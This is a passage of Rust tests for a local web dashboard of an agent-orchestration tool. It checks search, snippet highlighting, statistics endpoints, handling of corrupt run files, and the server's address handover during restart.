11151 assert_eq!(again.status, 200, "{}", again.body);
11152 assert!(
11153 again.json()["last_error"]
11154 .as_str()
11155 .is_none_or(|e| !e.contains("read-only file system")),
11156 "a fresh start does not keep showing why the last one died: {}",
11157 again.body
11158 );
11159 }
11160
11161 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11173 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11174 let home = TempDir::new().expect("temp home");
11175 let runs = home.path().join("runs");
11176 std::fs::create_dir_all(&runs).expect("runs dir");
11177 let ui = Ui::new(
11178 Queue::at(home.path().join("queue")),
11179 Questions::at(home.path().join("questions")),
11180 Talks::at(home.path().join("talks")),
11181 runs,
11182 home.path().to_path_buf(),
11183 PathBuf::from("/repo/magi"),
11184 )
11185 .with_worktrees_root(home.path().join("wt"))
11186 .with_launch(launch_knocking_on_the_way_out);
11187 let looping = ui.looping();
11188 let turns = ui.turns();
11189 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11190 .await
11191 .expect("bind loopback");
11192 let addr = listener.local_addr().expect("local addr");
11193 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11194 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11195
11196 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11197 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11198
11199 let bound = std::sync::Mutex::new(None);
11214 hand_over(
11215 home.path(),
11216 &looping,
11217 &turns,
11218 &|_: &[String]| Duration::from_secs(5),
11219 served,
11220 |_| {
11221 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11222 let attempt = loop {
11223 match std::net::TcpListener::bind(addr) {
11224 Ok(l) => {
11225 drop(l);
11226 break Ok(());
11227 }
11228 Err(e)
11229 if e.kind() == std::io::ErrorKind::AddrInUse
11230 && std::time::Instant::now() < deadline =>
11231 {
11232 std::thread::sleep(std::time::Duration::from_millis(10));
11233 }
11234 Err(e) => break Err(e.to_string()),
11235 }
11236 };
11237 *bound.lock().expect("bound") = Some(attempt);
11238 Ok(1)
11239 },
11240 )
11241 .await
11242 .expect("hand over");
11243
11244 assert_eq!(
11245 *PARK_HEARD.lock().expect("park heard"),
11246 Some(200),
11247 "the deck must answer while the loop is parking"
11248 );
11249 let attempt = bound
11250 .lock()
11251 .expect("bound")
11252 .take()
11253 .expect("the successor was started");
11254 assert!(
11255 attempt.is_ok(),
11256 "and the address must be free by the time it is: {attempt:?}"
11257 );
11258 }
11259
11260 #[tokio::test]
11261 async fn a_newer_daemon_status_file_still_renders() {
11262 let f = Fixture::start().await;
11263 std::fs::write(
11266 f.home.path().join("daemon.json"),
11267 serde_json::json!({
11268 "schema": 2,
11269 "updated_at": Timestamp::now().to_string(),
11270 "idle": true,
11271 "surprise": { "nested": [1, 2, 3] },
11272 })
11273 .to_string(),
11274 )
11275 .expect("write daemon.json");
11276
11277 let health = f.get("/api/health").await;
11278
11279 assert_eq!(health.status, 200);
11280 assert_eq!(health.json()["daemon"]["running"], true);
11281 }
11282
11283 #[tokio::test]
11284 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11285 let f = Fixture::start().await;
11286 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11287 let broken = f.runs().join("20260902-140502-bad");
11288 std::fs::create_dir_all(&broken).expect("run dir");
11289 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11290
11291 let list = f.get("/api/runs").await;
11292 let detail = f.get("/api/runs/20260902-140502-bad").await;
11293
11294 assert_eq!(list.status, 200);
11295 let listed = list.json();
11296 let ids: Vec<&str> = listed
11297 .as_array()
11298 .expect("an array")
11299 .iter()
11300 .map(|r| r["id"].as_str().expect("an id"))
11301 .collect();
11302 assert_eq!(
11303 ids,
11304 vec!["20260902-140501-good"],
11305 "one unreadable run must not cost the operator the whole history"
11306 );
11307 assert_eq!(detail.status, 500);
11308 assert!(
11309 detail.json()["error"]
11310 .as_str()
11311 .is_some_and(|e| e.contains("run.json")),
11312 "the failure names the file to look at: {}",
11313 detail.body
11314 );
11315 let health = f.get("/api/health").await;
11319 assert_eq!(health.json()["runs_unreadable"], 1);
11320 }
11321
11322 #[tokio::test]
11324 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11325 let f = Fixture::start().await;
11326 let runs = f.runs();
11327 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11328 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11329 let path = runs.join("20260902-140502-bbbb").join("run.json");
11332 let mut v: serde_json::Value =
11333 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11334 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11335 std::fs::write(&path, v.to_string()).unwrap();
11336 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11337 std::fs::write(
11338 runs.join("20260902-140503-cccc").join("run.json"),
11339 "{ not json",
11340 )
11341 .unwrap();
11342
11343 let res = f.get("/api/search?scope=runs&q=quokka").await;
11344 assert_eq!(res.status, 200, "{}", res.body);
11345 let v = res.json();
11346 assert_eq!(v["total"], 1, "{v}");
11347 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11348 assert_eq!(v["hits"][0]["field"], "text");
11349 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11350 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11351 assert!(
11352 parts
11353 .iter()
11354 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11355 "{v}"
11356 );
11357 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11358 assert_eq!(
11359 flat, "The Quokka leaks across threads",
11360 "whitespace is collapsed"
11361 );
11362
11363 let both = f
11365 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11366 .await
11367 .json();
11368 assert_eq!(both["total"], 1, "{both}");
11369 let neither = f
11370 .get("/api/search?scope=runs&q=quokka%20zebra")
11371 .await
11372 .json();
11373 assert_eq!(neither["total"], 0, "{neither}");
11374 let stmt = f
11376 .get("/api/search?scope=runs&q=mobile%20first")
11377 .await
11378 .json();
11379 assert_eq!(stmt["total"], 2, "{stmt}");
11380 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11381 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11382 }
11383
11384 #[test]
11385 fn snippet_ignores_terms_longer_than_the_field() {
11386 let terms = ["ok".to_owned(), "elephant".to_owned()];
11387 let parts = snippet_of("ok", &terms);
11388 assert_eq!(
11389 parts,
11390 vec![SnippetPart {
11391 text: "ok".to_owned(),
11392 hit: true
11393 }]
11394 );
11395 }
11396
11397 #[test]
11398 fn snippet_marks_matches_longer_than_the_window() {
11399 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11400 let hit_len = |parts: &[SnippetPart]| -> usize {
11401 parts
11402 .iter()
11403 .filter(|p| p.hit)
11404 .map(|p| p.text.chars().count())
11405 .sum()
11406 };
11407 let total =
11408 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11409
11410 let long = "a".repeat(120);
11411 let parts = snippet_of(&long, std::slice::from_ref(&long));
11412 assert!(hit_len(&parts) > 0, "{parts:?}");
11413 assert!(total(&parts) <= cap);
11414
11415 let ja = "あ".repeat(130);
11416 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11417 assert!(hit_len(&parts) > 0, "{parts:?}");
11418 assert!(total(&parts) <= cap);
11419
11420 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11422 let term = format!("ab{}", "c".repeat(100));
11423 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11424 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11425 assert!(total(&parts) <= cap);
11426
11427 let text = format!("{}z", "a".repeat(119));
11429 let parts = snippet_of(&text, &["a".repeat(120)]);
11430 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11431 }
11432
11433 #[tokio::test]
11434 async fn search_caps_hits_and_snippet_length() {
11435 let f = Fixture::start().await;
11436 let runs = f.runs();
11437 for n in 0..(SEARCH_MAX_HITS + 5) {
11438 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11439 }
11440 let v = f.get("/api/search?scope=runs&q=web").await.json();
11441 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11442 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11443 assert_eq!(v["truncated"], true);
11444 assert!(
11446 v["hits"]
11447 .as_array()
11448 .unwrap()
11449 .iter()
11450 .all(|h| h["run"]["status"] == "merged")
11451 );
11452
11453 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11454 let parts = snippet_of(&long, &["needle".to_owned()]);
11455 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11456 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11457 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11458 }
11459
11460 #[tokio::test]
11461 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11462 let f = Fixture::start().await;
11463 let queue = f.queue();
11464 let mut t = Task::new(
11465 "short title".to_owned(),
11466 "line one\nthe hidden Armadillo detail".to_owned(),
11467 PathBuf::from("/repo/magi"),
11468 Source::Agent {
11469 run: "r1".to_owned(),
11470 node: "chat".to_owned(),
11471 },
11472 );
11473 t.last_error = Some("disk full on /tmp".to_owned());
11474 queue.put(&mut t).expect("file the task");
11475
11476 for (q, want) in [
11477 ("armadillo", 1),
11478 ("disk%20FULL", 1),
11479 ("chat", 1),
11480 ("queued", 1),
11481 ("short%20nothing", 0),
11482 ] {
11483 let v = f
11484 .get(&format!("/api/search?scope=tasks&q={q}"))
11485 .await
11486 .json();
11487 assert_eq!(v["total"], want, "{q}: {v}");
11488 }
11489 for bad in [
11490 "/api/search?scope=tasks&q=",
11491 "/api/search?scope=tasks&q=%20",
11492 "/api/search?scope=chats&q=",
11493 "/api/search?scope=chats&q=%20",
11494 "/api/search?scope=nope&q=a",
11495 "/api/search?q=a",
11496 ] {
11497 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11498 }
11499 }
11500
11501 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11503 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11504 .expect("seat value");
11505 let turns: Vec<serde_json::Value> = turns
11506 .iter()
11507 .map(|(who, body)| {
11508 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11509 })
11510 .collect();
11511 let doc = serde_json::json!({
11512 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11513 "status": status, "turns": turns,
11514 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11515 "seat": seat,
11516 });
11517 let dir = f.home.path().join("talks");
11518 std::fs::create_dir_all(&dir).expect("talks dir");
11519 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11520 }
11521
11522 #[tokio::test]
11523 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11524 let f = Fixture::start().await;
11525 write_talk(
11526 &f,
11527 "20260901-000001-aaaa",
11528 "open",
11529 &[
11530 (
11531 "operator",
11532 "\n Why does the Pangolin cache expire?\nsecond line",
11533 ),
11534 ("agent", "Because the TTL is thirty seconds."),
11535 ],
11536 );
11537 write_talk(
11538 &f,
11539 "20260901-000002-bbbb",
11540 "closed",
11541 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11542 );
11543 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11544
11545 let search = |q: &'static str| {
11546 let f = &f;
11547 async move {
11548 f.get(&format!("/api/search?scope=chats&q={q}"))
11549 .await
11550 .json()
11551 }
11552 };
11553
11554 let v = search("PANGOLIN").await;
11555 assert_eq!(v["scope"], "chats");
11556 assert_eq!(v["total"], 1, "{v}");
11557 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11558 assert_eq!(v["hits"][0]["field"], "title");
11559 assert_eq!(v["unreadable"], 1, "{v}");
11560 let marked: Vec<&str> = v["hits"][0]["snippet"]
11561 .as_array()
11562 .unwrap()
11563 .iter()
11564 .filter(|p| p["hit"] == true)
11565 .map(|p| p["text"].as_str().unwrap())
11566 .collect();
11567 assert_eq!(marked, ["Pangolin"]);
11568
11569 let v = search("zebra").await;
11571 assert_eq!(v["total"], 1, "{v}");
11572 assert_eq!(v["hits"][0]["field"], "agent");
11573 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11575 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11576 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11578 assert_eq!(search(q).await["total"], 0, "{q}");
11579 }
11580 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11582 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11584
11585 let v = f.get("/api/search?scope=nope&q=a").await;
11586 assert_eq!(v.status, 400);
11587 assert!(
11588 v.body.contains("scope must be runs, tasks or chats"),
11589 "{}",
11590 v.body
11591 );
11592 }
11593
11594 #[test]
11595 fn a_question_card_links_a_task_id_to_the_task_page() {
11596 let start = APP_JS
11597 .find("function updateAskCard(")
11598 .expect("updateAskCard exists");
11599 let body = &APP_JS[start..];
11600 let body = &body[..body.find("\n}\n").expect("function end")];
11601 assert!(body.contains("question.run_is_task"));
11602 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11603 assert!(body.contains("`#/runs/${question.run}`"));
11604 assert!(body.contains("\"task\" : \"run\""));
11605 }
11606
11607 #[test]
11608 fn stats_bars_share_one_id_keyed_plan() {
11609 let start = APP_JS
11610 .find("function statsBarRows(")
11611 .expect("statsBarRows exists");
11612 let body = &APP_JS[start..];
11613 let body = &body[..body.find("\n}\n").expect("function end")];
11614 assert!(body.contains("statsBarPlan(rows)"));
11615 assert!(body.contains("statsAgentTone(row.agent)"));
11616 assert!(!body.contains("candTone(i)"));
11617 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11618 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11619 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11620 }
11621 }
11622
11623 #[test]
11624 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11625 let start = APP_JS
11626 .find("function renderStatsReviewerScatter(")
11627 .expect("renderStatsReviewerScatter exists");
11628 let body = &APP_JS[start..];
11629 let body = &body[..body.find("\n}\n").expect("function end")];
11630 assert!(body.contains("statsScatterPlan(reviewers)"));
11631 assert!(body.contains("statsAgentTone(d.agent)"));
11632 assert!(APP_JS.contains("function statsScatterPlan("));
11633 assert!(
11634 APP_JS.contains("d.submitted < STATS_LOW_N")
11635 || APP_JS.contains("r.submitted < STATS_LOW_N")
11636 );
11637 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11638 assert!(APP_CSS.contains(".precision-scatter"));
11639 }
11640
11641 #[test]
11642 fn advisor_reflection_is_drawn_as_stacked_segments() {
11643 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11644 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11645 let html = include_str!("../assets/ui/index.html");
11646 assert!(html.contains("Approximate"));
11647 for label in ["reflected strongly", "faint", "no proposal"] {
11648 assert!(html.contains(label));
11649 }
11650 let css = include_str!("../assets/ui/app.css");
11651 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11652 assert!(css.contains(&format!(".{c} {{")));
11653 }
11654 }
11655
11656 #[test]
11657 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11658 assert!(APP_JS.contains("function statsDailyPlan("));
11659 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11660 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11661 }
11662
11663 #[test]
11664 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11665 let start = APP_JS
11666 .find("function scheduleSearch(")
11667 .expect("scheduleSearch exists");
11668 let body = &APP_JS[start..];
11669 let body = &body[..body.find("\n}\n").expect("function end")];
11670 assert!(body.contains("s.seq += 1"));
11671 }
11672
11673 #[tokio::test]
11678 async fn stats_runs_unreadable_matches_health() {
11679 let f = Fixture::start().await;
11680 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11681 let broken = f.runs().join("20260902-140502-bad");
11682 std::fs::create_dir_all(&broken).expect("run dir");
11683 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11684
11685 let stats = f.get("/api/stats").await;
11686 let health = f.get("/api/health").await;
11687
11688 assert_eq!(stats.status, 200);
11689 assert_eq!(stats.json()["totals"]["runs"], 1);
11690 assert_eq!(stats.json()["runs_unreadable"], 1);
11691 assert_eq!(
11692 stats.json()["runs_unreadable"],
11693 health.json()["runs_unreadable"],
11694 "the dashboard and /api/health must never disagree about how many \
11695 runs could not be read"
11696 );
11697 }
11698
11699 #[tokio::test]
11700 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11701 let f = Fixture::start().await;
11702 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11703 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11704 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11705
11706 let totals = &f.get("/api/stats").await.json()["totals"];
11707 assert_eq!(totals["runs"], 3);
11708 assert_eq!(totals["merged"], 1);
11709 assert_eq!(totals["stalled"], 1);
11710 assert_eq!(totals["in_progress"], 1);
11711 assert_eq!(totals["blocked"], 0);
11714 assert_eq!(totals["ready"], 0);
11715 }
11716
11717 #[tokio::test]
11718 async fn stats_advisors_report_proposals_and_reflection() {
11719 use crate::advise::{Advice, AdvisorRecord, Reflection};
11720 use crate::verdict::Proposal;
11721
11722 let f = Fixture::start().await;
11723 let mut state = RunState::new(
11724 PathBuf::from("/repo/magi"),
11725 "main".to_owned(),
11726 "0123456789abcdef".to_owned(),
11727 "task".to_owned(),
11728 Config::default(),
11729 );
11730 state.id = "20260902-140501-a".to_owned();
11731 state.status = RunStatus::Merged;
11732 state.advice = Some(Advice {
11733 records: vec![
11734 AdvisorRecord {
11735 seat: "advisor-1".to_owned(),
11736 agent: "alpha".to_owned(),
11737 proposal: Some(Proposal {
11738 approach: "do it".to_owned(),
11739 key_tradeoff: "speed over memory".to_owned(),
11740 risks: Vec::new(),
11741 touches: Vec::new(),
11742 why_not_naive: "breaks under load".to_owned(),
11743 }),
11744 error: None,
11745 duration_ms: 0,
11746 reflection: Reflection::Strong,
11747 },
11748 AdvisorRecord {
11749 seat: "advisor-2".to_owned(),
11750 agent: "alpha".to_owned(),
11751 proposal: None,
11752 error: Some("timed out".to_owned()),
11753 duration_ms: 0,
11754 reflection: Reflection::Absent,
11755 },
11756 ],
11757 synthesis: Some("blended brief".to_owned()),
11758 });
11759 let dir = f.runs().join(&state.id);
11760 std::fs::create_dir_all(&dir).expect("run dir");
11761 std::fs::write(
11762 dir.join("run.json"),
11763 serde_json::to_string_pretty(&state).expect("serialize run"),
11764 )
11765 .expect("write run.json");
11766
11767 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
11769 let alpha = advisors
11770 .as_array()
11771 .expect("an array")
11772 .iter()
11773 .find(|a| a["agent"] == "alpha")
11774 .expect("alpha row");
11775 assert_eq!(alpha["seated"], 2);
11776 assert_eq!(alpha["proposed"], 1);
11777 assert_eq!(alpha["absent"], 1);
11778 assert_eq!(alpha["strong"], 1);
11779 assert_eq!(alpha["faint"], 0);
11780 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11781 }
11782
11783 #[tokio::test]
11784 async fn stats_hides_agents_outside_the_roster_unless_all() {
11785 use crate::run::Candidate;
11786 let repo = TempDir::new().expect("repo dir");
11787 std::fs::write(
11788 repo.path().join("magi.toml"),
11789 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
11790 )
11791 .expect("magi.toml");
11792 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
11793 let mut state = RunState::new(
11794 PathBuf::from("/repo/magi"),
11795 "main".to_owned(),
11796 "0123456789abcdef".to_owned(),
11797 "task".to_owned(),
11798 Config::default(),
11799 );
11800 state.id = "20260902-140501-a".to_owned();
11801 state.status = RunStatus::Merged;
11802 for (label, agent) in [('A', "keep"), ('B', "retired")] {
11803 let mut c: Candidate = serde_json::from_value(serde_json::json!({
11804 "index": 0, "label": label.to_string(), "agent": agent,
11805 "branch": "b", "worktree": "/w",
11806 }))
11807 .expect("candidate");
11808 c.label = label;
11809 state.candidates.push(c);
11810 }
11811 let dir = f.runs().join(&state.id);
11812 std::fs::create_dir_all(&dir).expect("run dir");
11813 std::fs::write(
11814 dir.join("run.json"),
11815 serde_json::to_string_pretty(&state).expect("serialize run"),
11816 )
11817 .expect("write run.json");
11818
11819 let agents_of = |v: &serde_json::Value| -> Vec<String> {
11820 v["agents"]
11821 .as_array()
11822 .expect("array")
11823 .iter()
11824 .map(|a| a["agent"].as_str().unwrap().to_owned())
11825 .collect()
11826 };
11827 let hidden = f.get("/api/stats").await.json();
11828 assert_eq!(agents_of(&hidden), ["keep"]);
11829 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
11830 assert_eq!(hidden["totals"]["runs"], 1);
11831
11832 let all = f.get("/api/stats?all=true").await.json();
11833 assert_eq!(agents_of(&all).len(), 2);
11834 assert_eq!(all["retired_hidden"], serde_json::json!([]));
11835 }
11836
11837 #[tokio::test]
11838 async fn stats_release_bumps_split_clean_from_attention() {
11839 use crate::run::ReleaseBump;
11840
11841 let f = Fixture::start().await;
11842
11843 let mut clean = RunState::new(
11844 PathBuf::from("/repo/magi"),
11845 "main".to_owned(),
11846 "0123456789abcdef".to_owned(),
11847 "task".to_owned(),
11848 Config::default(),
11849 );
11850 clean.id = "20260902-140501-a".to_owned();
11851 clean.status = RunStatus::Merged;
11852 clean.release_bump = Some(ReleaseBump {
11853 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11854 version: Some("1.0.0".to_owned()),
11855 automerge_enabled: true,
11856 merged_directly: false,
11857 local: false,
11858 release: None,
11859 problem: None,
11860 action_required: None,
11861 });
11862
11863 let mut blocked = RunState::new(
11864 PathBuf::from("/repo/magi"),
11865 "main".to_owned(),
11866 "0123456789abcdef".to_owned(),
11867 "task".to_owned(),
11868 Config::default(),
11869 );
11870 blocked.id = "20260902-140502-b".to_owned();
11871 blocked.status = RunStatus::Merged;
11872 blocked.release_bump = Some(ReleaseBump {
11873 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11874 version: Some("1.0.1".to_owned()),
11875 automerge_enabled: false,
11876 merged_directly: false,
11877 local: false,
11878 release: None,
11879 problem: Some("checks red".to_owned()),
11880 action_required: Some("look at the PR".to_owned()),
11881 });
11882
11883 for state in [&clean, &blocked] {
11884 let dir = f.runs().join(&state.id);
11885 std::fs::create_dir_all(&dir).expect("run dir");
11886 std::fs::write(
11887 dir.join("run.json"),
11888 serde_json::to_string_pretty(state).expect("serialize run"),
11889 )
11890 .expect("write run.json");
11891 }
11892
11893 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11894 assert_eq!(bumps["merged"], 2);
11895 assert_eq!(bumps["recorded"], 2);
11896 assert_eq!(bumps["pr_opened"], 2);
11897 assert_eq!(bumps["automerge_enabled"], 1);
11898 assert_eq!(bumps["needs_attention"], 1);
11899 assert_eq!(bumps["clean"], 1);
11900 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11901 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11902 }
11903
11904 #[tokio::test]
11905 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11906 let f = Fixture::start().await;
11907 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11908
11909 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11910 assert_eq!(bumps["merged"], 1);
11911 assert_eq!(bumps["recorded"], 0);
11912 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11915 assert_eq!(bumps["automerge_rate"], Value::Null);
11918 assert_eq!(bumps["attention_rate"], Value::Null);
11919 }
11920
11921 #[tokio::test]
11922 async fn stats_queue_counts_come_from_the_live_queue() {
11923 let f = Fixture::start().await;
11924 let q = f.queue();
11925 let mut queued = Task::new(
11926 "queued task".to_owned(),
11927 "do it".to_owned(),
11928 PathBuf::from("/repo"),
11929 Source::Human,
11930 );
11931 q.put(&mut queued).expect("put queued");
11932 let mut held = Task::new(
11933 "held task".to_owned(),
11934 "do it later".to_owned(),
11935 PathBuf::from("/repo"),
11936 Source::Human,
11937 );
11938 held.hold_machine(Some("out of attempts".to_owned()));
11939 q.put(&mut held).expect("put held");
11940
11941 let queue = f.get("/api/stats").await.json()["queue"].clone();
11942 assert_eq!(queue["queued"], 1);
11943 assert_eq!(queue["held"], 1);
11944 assert_eq!(queue["running"], 0);
11945 assert_eq!(queue["done"], 0);
11946 assert_eq!(queue["failed"], 0);
11947 assert_eq!(queue["blocked"], 0);
11948 }
11949
11950 #[tokio::test]
11951 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11952 let f = Fixture::start().await;
11953 let stats = f.get("/api/stats").await;
11954 assert_eq!(stats.status, 200);
11955 assert_eq!(stats.json()["totals"]["runs"], 0);
11956 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11957 assert_eq!(stats.json()["runs_unreadable"], 0);
11958 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11959 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11960 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11961 assert_eq!(stats.json()["repo"], Value::Null);
11962 }
11963
11964 #[tokio::test]
11965 async fn stats_lists_every_repository_with_runs_recorded() {
11966 let f = Fixture::start().await;
11967 write_run_repo(
11968 &f.runs(),
11969 "20260902-140501-a",
11970 RunStatus::Merged,
11971 "/repos/a",
11972 );
11973 write_run_repo(
11974 &f.runs(),
11975 "20260902-140502-b",
11976 RunStatus::Merged,
11977 "/repos/a",
11978 );
11979 write_run_repo(
11980 &f.runs(),
11981 "20260902-140503-c",
11982 RunStatus::Blocked,
11983 "/repos/b",
11984 );
11985
11986 let stats = f.get("/api/stats").await;
11987 assert_eq!(stats.status, 200);
11988 assert_eq!(stats.json()["totals"]["runs"], 3);
11990 assert_eq!(stats.json()["repo"], Value::Null);
11991
11992 let repos = stats.json()["repos"].clone();
11993 let repos = repos.as_array().unwrap();
11994 assert_eq!(repos.len(), 2);
11995 assert_eq!(repos[0]["repo"], "/repos/a");
11997 assert_eq!(repos[0]["name"], "a");
11998 assert_eq!(repos[0]["runs"], 2);
11999 assert_eq!(repos[1]["repo"], "/repos/b");
12000 assert_eq!(repos[1]["runs"], 1);
12001 }
12002
12003 #[tokio::test]
12004 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12005 let f = Fixture::start().await;
12006 write_run_repo(
12007 &f.runs(),
12008 "20260902-140501-a",
12009 RunStatus::Merged,
12010 "/repos/a",
12011 );
12012 write_run_repo(
12013 &f.runs(),
12014 "20260902-140502-b",
12015 RunStatus::Blocked,
12016 "/repos/b",
12017 );
12018
12019 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12020 assert_eq!(stats.status, 200);
12021 assert_eq!(stats.json()["totals"]["runs"], 1);
12022 assert_eq!(stats.json()["totals"]["merged"], 1);
12023 assert_eq!(stats.json()["repo"], "/repos/a");
12024 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12027 assert_eq!(stats.json()["runs_unreadable"], 0);
12030 }
12031
12032 #[tokio::test]
12033 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12034 let f = Fixture::start().await;
12035 write_run_repo(
12036 &f.runs(),
12037 "20260902-140501-a",
12038 RunStatus::Merged,
12039 "/repos/a",
12040 );
12041 write_run_repo(
12042 &f.runs(),
12043 "20260902-140502-b",
12044 RunStatus::Merged,
12045 "/repos/b",
12046 );
12047
12048 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12049 let json = f.get(uri).await.json();
12050 let daily = json["daily"].as_array().expect("daily is an array");
12051 assert_eq!(daily.len(), 30);
12052 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12053 let mut sorted = dates.clone();
12054 sorted.sort();
12055 assert_eq!(dates, sorted);
12056 for d in daily {
12057 assert_eq!(
12058 d["merged"].as_u64().unwrap()
12059 + d["ready"].as_u64().unwrap()
12060 + d["other"].as_u64().unwrap(),
12061 d["runs"].as_u64().unwrap()
12062 );
12063 }
12064 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12065 }
12066 }
12067
12068 #[tokio::test]
12069 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12070 let f = Fixture::start().await;
12071 write_run_repo(
12072 &f.runs(),
12073 "20260902-140501-a",
12074 RunStatus::Merged,
12075 "/repos/a",
12076 );
12077
12078 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12079 assert_eq!(stats.status, 404);
12080 }
12081
12082 #[tokio::test]
12083 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12084 let f = Fixture::start().await;
12085 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12086
12087 let summary = f.get("/api/runs").await.json();
12088 let row = &summary[0];
12089 assert_eq!(row["short"], "a1b2");
12090 assert_eq!(row["status"], "ready");
12091 assert_eq!(row["done"], true);
12092 assert_eq!(row["title"], "Add a web UI");
12093 assert_eq!(row["repo_name"], "magi");
